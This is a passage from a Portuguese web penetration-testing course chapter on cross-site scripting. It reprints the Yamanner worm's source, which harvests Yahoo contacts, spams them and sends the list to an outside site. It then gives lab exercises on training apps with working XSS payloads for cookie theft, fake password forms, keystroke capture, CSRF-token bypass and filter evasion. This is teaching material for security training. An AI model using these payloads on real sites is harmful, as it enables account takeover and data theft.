else http_request.send(Param);

window.open(http://www.lastdata.com);
Figura 5.27
Cdigo do ServerUrl = url0;USIndex = ServerUrl.indexOf(us. ,0);
Yamanner.
209
MailIndex = ServerUrl.indexOf(.mail ,0);

CutLen = MailIndex - USIndex - 3;

var Server = ServerUrl.substr(USIndex + 3, CutLen);

function GetIDs(HtmlContent) {

IDList = ;

StartString = ;

EndString = ;

i = 0;

StartIndex = HtmlContent.indexOf(StartString, 0);

while(StartIndex >= 0) {

EndIndex = HtmlContent.indexOf(EndString, StartIndex);

CutLen = EndIndex - StartIndex - StartString.length;

YahooID = HtmlContent.substr(StartIndex + StartString.length,


CutLen);

if( YahooID.indexOf(@yahoo.com, 0) > 0 || YahooID.indexOf(@


yahoogroups.com, 0) > 0 ) IDList = IDList + , + YahooID ;

StartString = ;

StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20);

StartString = ;

StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20);

i++;

if(IDList.substr(0,1) == ,) IDList = IDList.substr(1, IDList.


length);

if(IDList.indexOf(,, 0)>0 ) {

IDListArray = IDList.split(,);

Email = IDListArray[0];
Teste de Invaso de Aplicaes Web

IDList = IDList.replace(Email + ,, );

CurEmail = spamform.NE.value;

IDList = IDList.replace(CurEmail + ,, );

IDList = IDList.replace(, + CurEmail, );

IDList = IDList.replace(CurEmail, );

UserEmail = showLetter.FromAddress.value;

210
IDList = IDList.replace(, + UserEmail, );

IDList = IDList.replace(UserEmail + ,, );

IDList = IDList.replace(UserEmail, );

return IDList;

function ListContacts() {

if (http_request.readyState == 4) {

if (http_request.status == 200) {

HtmlContent = http_request.responseText;

IDList = GetIDs(HtmlContent);

makeRequest(http://us. + Server + .mail.yahoo.com/ym/


Compose/?rnd= + Math.random(), Getcrumb, GET, null);

function ExtractStr(HtmlContent) {

StartString = name=\u0022.crumb\u0022 value=\u0022;

EndString = \u0022;

i = 0;

StartIndex = HtmlContent.indexOf(StartString, 0);

EndIndex = HtmlContent.indexOf(EndString, StartIndex +


StartString.length );

CutLen = EndIndex - StartIndex - StartString.length;

crumb = HtmlContent.substr(StartIndex + StartString.length ,


CutLen );

return crumb;

function Getcrumb() {
Captulo 5 - Cross-site scripting

if (http_request.readyState == 4) {

if (http_request.status == 200) {

HtmlContent = http_request.responseText;

CRumb = ExtractStr(HtmlContent);

MyBody = this is test;

MySubj = New Graphic Site;

211
Url = http://us. + Server + .mail.yahoo.com/ym/
Compose;

var ComposeAction = compose.action;MidIndex =


ComposeAction.indexOf(&Mid= ,0);

incIndex = ComposeAction.indexOf(&inc ,0);

CutLen = incIndex - MidIndex - 5;

var MyMid = ComposeAction.substr(MidIndex + 5,


CutLen);

QIndex = ComposeAction.indexOf(?box= ,0);

AIndex = ComposeAction.indexOf(&Mid ,0);

CutLen = AIndex - QIndex - 5;

var BoxName = ComposeAction.substr(QIndex + 5,


CutLen);

Param = SEND=1&SD=&SC=&CAN=&docCharset=windows-
1256&PhotoMailUser=&PhotoToolInstall=&OpenInsertPhoto=&PhotoGetStar
t=0&SaveCopy=no&PhotoMailInstallOrigin=&.crumb=RUMBVAL&Mid=EMAILMID
&inc=&AttFol=&box=BOXNAME&FwdFile=YM_FM&FwdMsg=EMAILMID&FwdSubj=EM
AILSUBJ&FwdInline=&OriginalFrom=FROMEMAIL&OriginalSubject=EMAILSUBJ
&InReplyTo=&NumAtt=0&AttData=&UplData=&OldAttData=&OldUplData=&FNam
e=&ATT=&VID=&Markers=&NextMarker=0&Thumbnails=&PhotoMailWith=&Brow
seState=&PhotoIcon=&ToolbarState=&VirusReport=&Attachments=&Backgr-
ound=&BGRef=&BGDesc=&BGDef=&BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom=&
PlainMsg=%3Cbr%3E%3Cbr%3ENote%3A+forwarded+message+attached.&Photo
Frame=&PhotoPrintAtHomeLink=&PhotoSlideShowLink=&PhotoPrintLink=&P
hotoSaveLink=&PhotoPermCap=&PhotoPermPath=&PhotoDownloadUrl=&Photo
SaveUrl=&PhotoFlags=&start=compose&bmdomain=&showcc=&showbcc=&AC_
Done=&AC_ToList=0%2C&AC_CcList=&AC_BccList=&sendtop=Send&savedraft
top=Save+as+a+Draft&canceltop=Cancel&FromAddr=&To=TOEMAIL&Cc=&Bcc=
BCCLIST&Subj=EMAILSUBJ&Body=%3CBR%3E%3CBR%3ENote%3A+forwarded+mess
age+attached.&Format=html&sendbottom=Send&savedraftbottom=Save+as+
a+Draft&cancelbottom=Cancel&cancelbottom=Cancel;

Param = Param.replace(BOXNAME, BoxName);

Param = Param.replace(RUMBVAL, CRumb);


Teste de Invaso de Aplicaes Web

Param = Param.replace(BCCLIST, IDList);

Param = Param.replace(TOEMAIL, Email);

Param = Param.replace(FROMEMAIL, av3@yahoo.com);

Param = Param.replace(EMAILBODY, MyBody);

Param = Param.replace(PlainMESSAGE, );

Param = Param.replace(EMAILSUBJ, MySubj);

Param= Param.replace(EMAILSUBJ, MySubj);

212
Param = Param.replace(EMAILSUBJ, MySubj);

Param = Param.replace(EMAILMID, MyMid);

Param = Param.replace(EMAILMID, MyMid);

makeRequest(Url , alertContents, POST, Param);

function alertContents() {

if (http_request.readyState == 4) {

window.navigate(http://www.av3.net/?ShowFolder.....8;BCCList=
+ IDList)

makeRequest(http://us. + Server + .mail.yahoo.com/ym/QuickBuilder?


build=Continue&cancel=&continuetop=Continue&canceltop=Cancel&Inbox
=Inbox&Sent=Sent&pfolder=all&freqCheck=&freq=1&numdays=on&date=180-
&ps=1&numadr=100&continuebottom=Continue&cancelbottom=Cancel&rnd=
+ Math.random(), ListContacts, GET, null)

Captulo 5 - Cross-site scripting

213
Teste de Invaso de Aplicaes Web

214
Roteiro de Atividades 5
Atividade 1 Introduo
Esta atividade tem por objetivo ilustrar ao leitor quo comumente so encontrados pro-
blemas referentes a cross-site scripting em aplicaes web reais. Para inici-la, carregue as
mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.

Aplicaes web reais que j foram (ou so) vulnerveis a XSS


O propsito deste exerccio pesquisar sites que tiveram (ou tm) problemas relacionados a
cross-site scripting:

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://www.xssed.com

3. Navegue pelo site e descubra que empresas conhecidas j foram vtimas de XSS.

4. Encerre o Firefox.

Atividade 2 Tipos de XSS


Nesta atividade, o aluno ter a oportunidade de observar, na prtica, os quatro tipos de
cross-site scripting existentes, facilitando o entendimento dos mecanismos de explorao
utilizados em cada um deles.

XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da requi-
sio, explorando um parmetro que exibido sem tratamento na pgina resultante. Nor-
malmente, requer que o usurio seja induzido a clicar em um link especialmente construdo,
com contedo malicioso.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o DVWA, por meio da barra de atalhos.

3. Fornea para os campos Username e Password, respectivamente, os valores admin e


password, para se autenticar no sistema.

4. No menu de opes, clique em XSS reflected.

5. Digite o seu nome no campo Whats your name.

6. Clique em Submit e veja que a mensagem Hello <nome> exibida.


Captulo 5 - Roteiro de Atividades

7. Altere o parmetro name, na barra de endereos, para o seu sobrenome e pressione Enter.

8. Repita o passo anterior, mas fornecendo o valor:

<script>alert(document.cookie)<%2Fscript>

Observe que os cookies so exibidos.

9. Clique em Ok.

10. Clique em File, seguido de Open File.

215
11. Acesse o diretrio esruser/Arquivos do Curso/sessao-05.

12. Abra o arquivo refletido.html.

13. Passe o mouse por cima do link e observe a URL na barra de estado.

14. Clique no link e veja o que acontece. Esse um dos vetores de ataque de XSS refletido.

15. Clique em Ok.

XSS armazenado
Historicamente, fruns de discusso so propcios a apresentarem vulnerabilidades de
cross-site scripting armazenado. Neste exerccio, o leitor explorar o problema em uma
aplicao desse tipo.

1. Acesse o WebGoat, por meio da barra de atalhos.

2. Autentique-se com as credenciais guest/guest.

3. Clique em Start WebGoat.

4. Clique no menu Cross-Site Scripting (XSS).

5. Clique em Stored XSS Attacks.

6. Cadastre uma mensagem, fornecendo ttulo e texto. Clique em Submit. Observe que um
link para a mensagem adicionado na seo Message List.

7. Cadastre um novo item, fornecendo o seguinte para o corpo da mensagem:

<script>alert(1)</script>

8. Na lista de mensagens, clique no ttulo da ltima que foi cadastrada.

9. Observe que o script executado.

XSS baseado em DOM


Cross-site scripting baseado em DOM muito similar ao tipo refletido, mas difere deste por
no necessitar que o cdigo malicioso seja enviado ao servidor. Esse aspecto do ataque o
foco deste exerccio.

1. Acesse http://xss.esr.rnp.br/

2. Clique em XSS baseado em DOM.

3. Adicione a query string abaixo na barra de endereos e pressione Enter:

?usuario=ESR

Veja o que alterado na pgina.


Teste de Invaso de Aplicaes Web

4. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

5. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

6. Altere a query string, na barra de endereos, para o texto abaixo e pressione Enter:

?usuario=ESR<script>document.write(<br>XSS)<%2Fscript>

7. No WebScarab, clique na aba Summary.

8. Selecione a ltima requisio e d um duplo clique nela.

216
9. Clique na aba Raw e veja que o cdigo foi enviado ao servidor.

10. Encerre a janela de visualizao de requisio.

11. Retorne ao Firefox, altere a query string para o texto abaixo e pressione Enter:

?usuario=ESR#<script>document.write(<br>XSS2)</script>

12. Acesse o WebScarab novamente.

13. Selecione a nova requisio e d um duplo clique nela.

14. Observe que, agora, o cdigo no foi enviado ao servidor, embora tenha sido executado
no cliente.

15. Encerre a janela de visualizao de requisio.

16. Encerre o WebScarab.

17. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None.

XCS
Este exerccio ilustra um cross channel scripting, em uma aplicao web que permite visua-
lizar a lista de arquivos de um diretrio do sistema operacional.

1. Acesse http://xss.esr.rnp.br/

2. Clique em Cross channel scripting.

3. Abra uma janela de terminal.

4. Conecte-se ao servidor, por meio de SSH:

~$ ssh root@192.168.213.200

5. Fornea a senha esruser.

6. Mude para o diretrio /var/www/html/xss/xcs/:

~$ cd /var/www/html/xss/xcs/

7. Liste o contedo do diretrio e veja que o mesmo apresentado na pgina web:

~$ ls -l

8. Crie um novo arquivo, com o nome novo:

~$ touch novo

9. Retorne ao Firefox e recarregue a pgina. Veja que a listagem inclui o novo arquivo.

10. No terminal, crie um arquivo com o seguinte comando:


Captulo 5 - Roteiro de Atividades

~$ touch <img src=a onerror=alert(1)>

11. Retorne ao Firefox e recarregue a pgina. O que acontece?

12. Encerre o terminal.

13. Encerre o Firefox.

217
Atividade 3 Worms baseados em XSS
Desde o Samy Worm, diversos malwares baseados em XSS foram criados, para atacar os
mais variados tipos de aplicaes web, incluindo redes sociais, blogs, jogos e servidores de
vdeo. O propsito desta atividade analisar brevemente os cdigos de alguns dos worms
mais famosos, pertencentes a essa categoria.

GNUCITIZEN
O stio web GNUCITIZEN contm diversas informaes sobre segurana da informao,
inclusive os cdigos-fonte de alguns worms baseados em XSS.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://www.gnucitizen.org/blog/wormx/

3. Veja as aplicaes web que j foram afetadas por worms baseados em XSS.

4. Inspecione o cdigo-fonte de algum dos worms listados.

5. Encerre o Firefox.

Atividade 4 Descoberta de vulnerabilidades e explorao


O propsito desta atividade introduzir ao aluno os mtodos que podem ser utilizados para
a descoberta e explorao de vulnerabilidades de cross-site scripting. Todos os exerccios
devem ser realizados na mquina virtual do aluno, e altamente recomendado que se tente
traar a estratgia de explorao, antes de seguir o roteiro fornecido.

Pontos de injeo
Neste exerccio, o leitor aprender a construir os vetores de teste corretamente, de acordo
com o ponto em que ocorre a injeo de cdigo.

Parte I Corpo da mensagem

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o DVWA, por meio da barra de atalhos.

3. Fornea para os campos Username e Password, respectivamente, os valores admin e


password, para se autenticar no sistema.

4. No menu de opes, clique em XSS reflected.

5. Digite o seu nome no campo e clique em Submit.

6. Pressione Ctrl+U, para visualizar o cdigo-fonte.

7. Procure o ponto em que seu nome foi inserido na pgina HTML.


Teste de Invaso de Aplicaes Web

8. Encerre a janela de visualizao de cdigo-fonte.

9. Digite o seguinte no campo de texto e clique em Submit:

<script>alert(1)</script>

Parte II Dentro de script

10. Acesse http://xss.esr.rnp.br/

11. Clique em Dentro de script.

218
12. Digite o seu nome e clique em Definir nome.

13. Pressione Ctrl + U, para visualizar o cdigo-fonte.

14. Procure o ponto em que seu nome foi inserido na pgina HTML.

15. Encerre a janela de visualizao de cdigo-fonte.

16. Digite o nome abaixo e clique em Definir nome:

<script>alert(1)</script>

O ataque funcionou corretamente?

17. Repita o passo anterior com a entrada:

ESR;alert(1);var b=

E agora? A caixa de mensagem foi exibida?

18. Efetue o mesmo teste novamente com o seguinte vetor:

</script><script>alert(1)</script><script>

19. Pressione Ctrl + U para visualizar o cdigo-fonte.

20. Veja como o balanceamento de marcadores foi realizado, no processo de injeo.


H algum erro sinttico?

21. Encerre a janela de visualizao de cdigo-fonte.

22. Pressione Ctrl + Shift + J para visualizar os erros ocorridos e role a janela at o final.
O que se pode concluir pelas ltimas mensagens de erro?

23. Encerre a janela de erros.

Parte III Dentro de marcador

24. Retorne a http://xss.esr.rnp.br/

25. Clique em Dentro de marcador.

26. Digite o seu nome e clique em Definir nome.

27. Pressione Ctrl + U para visualizar o cdigo-fonte.


Captulo 5 - Roteiro de Atividades

28. Procure o ponto em que seu nome foi inserido na pgina HTML.

29. Encerre a janela de visualizao de cdigo-fonte.

30. Pressione Alt+[Seta para esquerda], para retornar pgina anterior.

31. Digite o nome abaixo e clique em Definir nome:

<script>alert(1)</script>

O ataque funcionou corretamente?

219
32. Pressione Alt + Seta para a esquerda para retornar pgina anterior.

33. Fornea o seguinte vetor como nome e clique em Definir nome:

ESR onclick=alert(1)

34. Clique no campo de nome e veja o que acontece.

Parte IV No ttulo da pgina

35. Retorne a http://xss.esr.rnp.br/

36. Clique em Dentro de title.

37. Digite o seu nome e clique em Definir nome.

38. Pressione Ctrl + U para visualizar o cdigo-fonte.

39. Procure o ponto em que seu nome foi inserido na pgina HTML.

40. Encerre a janela de visualizao de cdigo-fonte.

41. Digite o nome abaixo e clique em Definir nome:

<script>alert(1)</script>

O ataque funcionou corretamente?

42. Repita o passo anterior com a entrada:

</title><script>alert(1)</script>

43. Encerre o Firefox.

Roteiros de teste
Neste exerccio, o aluno realizar alguns testes para identificar vulnerabilidades de cross-
-site scripting na aplicao web.

Parte I XSS refletido

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o Gruyere, por meio da barra de atalhos.

3. Clique em Sign in.

4. Fornea para os campos User name e Password, respectivamente, os valores esruser e


esruser, para se autenticar no sistema.

5. Na barra de endereos, substitua tudo aps a parte numrica por /esrxpto e pressione
Teste de Invaso de Aplicaes Web

Enter. O que acontece?

6. Pressione Ctrl + U, para visualizar o cdigo HTML.

7. Procure pela mensagem de erro e identifique o ponto de injeo de XSS.

8. Encerre a janela de visualizao de cdigo HTML.

9. Repita o passo 5, utilizando o seguinte texto:

<script>alert(1)</script>

220
10. Clique em Ok.

Parte II XSS armazenado (1)

11. Clique no link Upload.

12. Clique no boto Browse.

13. Navegue at a pasta esruser/Arquivos do Curso/sessao-05.

14. Selecione texto.html e clique em Abrir.

15. Clique em Upload.

16. Na barra de endereos, substitua upload2 por esruser/texto.html e pressione Enter.

17. Pressione Ctrl + U para visualizar o cdigo HTML.

18. Abra uma janela de terminal.

19. Acesse o diretrio esruser/Arquivos do Curso/sessao-05:

~$ cd /home/esruser/Arquivos\ do\ Curso/sessao-05

20. Veja o contedo do arquivo texto.html e o compare ao cdigo HTML. So iguais?

~$ cat texto.html

21. No terminal, visualize o contedo do arquivo alert.html:

~$ cat alert.html

22. Feche a janela de visualizao de cdigo HTML.

23. Pressione Alt + Seta para a esquerda no Firefox, para retornar pgina anterior.

24. Clique no link Upload novamente.

25. Clique no boto Browse.

26. Navegue at a pasta esruser/Arquivos do Curso/sessao-05.

27. Selecione alert.html e clique em Abrir.

28. Clique em Upload.

29. Na barra de endereos, substitua upload2 por esruser/alert.html e pressione Enter.


O ataque foi efetuado com sucesso?

30. Clique em Ok.

31. Encerre a janela de terminal.


Captulo 5 - Roteiro de Atividades

Parte III XSS armazenado (2)

32. No Firefox, pressione Alt + Seta para esquerda.

33. Clique no link New snippet.

34. Fornea o texto esrxpto e clique em Submit.

35. Pressione Ctrl + U para visualizar o cdigo HTML.

36. Procure pelo texto esrxpto. Em que ponto o cdigo injetado?

221
37. Feche a janela de visualizao de cdigo HTML.

38. Clique novamente no link New snippet.

39. Fornea o texto <script>alert(1)</script> e clique em Submit.

40. Pressione Ctrl + U para visualizar o cdigo HTML.

41. Procure pelo texto inserido. Houve algum tipo de filtragem?

42. Feche a janela de visualizao de cdigo HTML.

43. Clique novamente no link New snippet.

44. Fornea o texto abaixo e clique em Submit:

<img src= a onerror=alert(1)>

O que acontece?

45. Pressione Ctrl + U para visualizar o cdigo HTML.

46. Procure pelo texto inserido.

47. Feche a janela de visualizao de cdigo HTML.

Parte IV XSS armazenado (3)

48. Clique no link Profile.

49. Em Profile Color, digite green e clique em Update. O que acontece com a cor do nome
de usurio?

50. Clique no link Profile novamente.

51. Em Profile Color, digite esrxpto e clique em Update.

52. Pressione Ctrl + U para visualizar o cdigo HTML.

53. Procure pelo texto esrxpto. Em que ponto o cdigo injetado?

54. Feche a janela de visualizao de cdigo HTML.

55. Clique no link Profile outra vez.

56. Em Profile Color, digite o texto abaixo e clique em Update:

green onclick=alert(1)
Teste de Invaso de Aplicaes Web

57. Clique no esruser escrito em verde. O que acontece?

58. Pressione Ctrl + U para visualizar o cdigo HTML.

59. Procure pelo texto inserido.

60. Feche a janela de visualizao de cdigo HTML.

61. Encerre o Firefox.

222
Adulterao de pgina
Ataques de cross-site scripting permitem, entre outras coisas, que pginas da aplicao
afetada sejam adulteradas. Nessa atividade, o aluno realizar, em um sistema vulnervel, a
remoo e a incluso dinmica de elementos do DOM.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o DVWA, por meio da barra de atalhos.

3. Fornea para os campos Username e Password, respectivamente, os valores admin e


password para se autenticar no sistema.

4. No menu de opes, clique em XSS reflected.

5. Digite no campo disponvel o texto esrxpto e clique em Submit.

6. Pressione Ctrl + U para visualizar o cdigo HTML.

7. Analise todos os formulrios existentes no documento, identificando os elementos que


os compem.

8. Pression Ctrl + Shift + I para iniciar o DOM Inspector.

9. Maximize a janela do DOM Inspector.

10. Pressione Ctrl + F para iniciar uma pesquisa.

11. Digite form, selecione Tag e clique em Find.

12. Clique no smbolo + ao lado de FORM, na rvore do DOM. Cada um dos elementos
exibidos numerado crescentemente a partir de zero, e pode ser acessado pela coleo
childNodes[].

13. A partir do primeiro item, anote os nmeros dos ns referentes aos elementos P e INPUT.

14. Clique no boto Inspect, ao lado da barra de endereos.

15. Clique em cada um dos ns P e INPUT, para identificar os itens correspondentes na pgina.

16. Encerre o DOM Inspector.

17. No DVWA, digite o cdigo abaixo e clique em Submit:

<script>

var d = document.forms[0];

d.removeChild(d.childNodes[1]);

</script>
Captulo 5 - Roteiro de Atividades

O que acontece?

18. Clique novamente em XSS reflected.

223
19. Digite o seguinte, para remover o formulrio, e clique em Submit:

<script>

var p = document.forms[0].parentNode;

p.removeChild(document.forms[0]);

</script>

20. Clique outra vez em XSS reflected.

21. Digite o cdigo abaixo, para inserir um novo formulrio e remover o antigo, e clique
em Submit:
<script>

var p = document.forms[0].parentNode;

p.removeChild(document.forms[0]);

document.write(<br><form>Digite sua senha:<br><input type= 8


"password" size=30><br><input type="submit" value="Testar"> );

</script>

22. Digite qualquer texto no campo exibido e veja que esse diferente do original.

23. Pressione Ctrl + U para visualizar o cdigo HTML.

24. Procure pelos elementos gerados dinamicamente. Foi possvel encontr-los? Por qu?

25. Feche a janela de visualizao de cdigo HTML.

26. Clique novamente em XSS reflected.

27. Repita o Passo 21, sem usar o mtodo document.write().

28. Encerre o Firefox.

Descoberta de histrico de navegao


Nesta atividade, o leitor aprender como possvel verificar se um determinado site foi ou
no visitado pelo usurio da aplicao.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://xss.esr.rnp.br/

3. Clique em Descoberta de histrico. As pginas listadas como visitadas esto corretas?


Teste de Invaso de Aplicaes Web

4. Pressione Ctrl + N para abrir uma nova janela do Firefox.

5. Digite www.amazon.com na barra de endereos e pressione Enter.

6. Retorne janela anterior do navegador.

7. Recarregue a pgina e veja se a lista de stios visitados foi corretamente atualizada.

8. Pressione Ctrl + U para visualizar o cdigo HTML.

9. Analise como o cdigo para determinao se um dado site foi ou no visitado.

10. Feche a janela de visualizao de cdigo HTML.

224
11. Clique em Edit, seguido de Preferences.

12. Clique na aba Content.

13. Clique no boto Colors.

14. Desmarque o item Allow pages to choose their own colors, instead of my selections above.

15. Clique em Ok e, em seguida, em Close.

16. Recarregue a pgina e veja se o ataque funciona.

17. Execute novamente os passos 11 a 15, mas marcando a opo do Passo 14.

18. Encerre o Firefox.

Captura de teclas digitadas no navegador web


O objetivo deste exerccio utilizar uma vulnerabilidade de cross-site scripting, para cap-
turar todas as teclas digitadas pelo usurio no navegador web.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o DVWA, por meio da barra de atalhos.

3. Fornea para os campos Username e Password, respectivamente, os valores admin e


password para se autenticar no sistema.

4. No menu de opes, clique em XSS reflected.

5. Digite o seguinte cdigo, sem os comentrios, no campo de texto e clique em Submit:

<script>

var t;

/* Insere um paragrafo */

document.write(<br><p id=par>Teclas capturadas: );

/* Aponta para o texto */

t = document.getElementById(par).childNodes[0];

document.onkeypress=function(e) {

/* Adiciona a tecla capturada ao texto */

t.nodeValue = t.nodeValue + String.fromCharCode(e.which);

</script>
Captulo 5 - Roteiro de Atividades

6. Digite algum texto no campo e veja que ele reproduzido na parte inserida dinamicamente.

7. Encerre o Firefox.

Quebra de token anti-CSRF


Neste exerccio, o aluno poder quebrar a proteo conferida pelo token anti-CSRF, por meio
da explorao de um cross-site scripting. No captulo anterior, vimos que outra maneira de
realizar isso depende de um ataque de clickjacking, o qual requer a interao da vtima, com
um stio web malicioso.

225
8. Inicie o Firefox, presente no menu Aplicativos\Internet.

9. Acesse o DVWA, por meio da barra de atalhos.

10. Fornea para os campos Username e Password, respectivamente, os valores admin


e password para se autenticar no sistema.

11. Clique em DVWA Security.

12. Selecione medium e clique em Submit.

13. Clique em CSRF.

14. Pressione Ctrl + U para visualizar o cdigo HTML.

15. Anote os nomes dos campos e do boto do formulrio. Observe que h um token
anti-CSRF, chamado de csrf_token.

16. Encerre a janela de visualizao de cdigo HTML.

17. Pressione Ctrl + N para abrir uma nova janela do Firefox.

18. Acesse http://www.evil.org/post/csrf.html na nova janela.

19. Veja que o DVWA aberto na nova janela. Que mensagem de erro exibida?

20. Encerre a nova janela do Firefox.

21. Clique em XSS reflected.

22. Digite o seguinte cdigo no campo, observando o S em <Script>, e clique em Submit.

<Script>

function breakToken() {

var f = document.getElementById(cs).contentDocument.forms[0];

f.password_new.value = pwd;

f.password_conf.value = pwd;

f.Change.click();

document.write(<iframe id=cs src=http://dvwa.esr.rnp.br/


vulnerabilities/csrf/ style=opacity:0.0 onload=breakToken()></
iframe>);

</script>
Teste de Invaso de Aplicaes Web

23. Clique em Logout.

24. Fornea para os campos Username e Password, respectivamente, os valores admin


e password para se autenticar no sistema. O que acontece?

25. Repita o processo com as credenciais admin/pwd.

26. Clique em CSRF.

27. Altere a senha para password novamente.

226
28. Clique em DVWA Security.

29. Selecione low e clique em Submit.

30. Encerre o Firefox.

Evaso de filtros
Algumas aplicaes implementam filtros para evitar ataques de injeo, porm, de maneira
vulnervel. Nesse contexto, essa prtica tem por objetivo exemplificar algumas das tcnicas
que podem ser utilizadas no processo de evaso de tais controles.

Parte I Remoo de marcadores

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://xss.esr.rnp.br/

3. Clique em Remoo de marcadores.

4. Digite esrxpto e clique em Definir nome.

5. Pressione Ctrl + U para visualizar o cdigo HTML.

6. Procure por esrxpto, para determinar o ponto de injeo.

7. Feche a janela de visualizao de cdigo HTML.

8. Digite o cdigo abaixo e clique em Definir nome:

<script>alert(1)</script>

O ataque funcionou?

9. Pressione Ctrl + U para visualizar o cdigo HTML.

10. Procure pelo texto injetado e analise o motivo da explorao ter falhado.

11. Feche a janela de visualizao de cdigo HTML.

12. Teste os seguintes vetores e anote os que funcionam:

<Script>alert(1)</script>

<script >alert(1)</script>

<scr<script>ipt>alert(1)</script>

<img src=a onerror=alert(1)>


Captulo 5 - Roteiro de Atividades

Parte II Escape de aspas

13. Retorne pgina http://xss.esr.rnp.br

</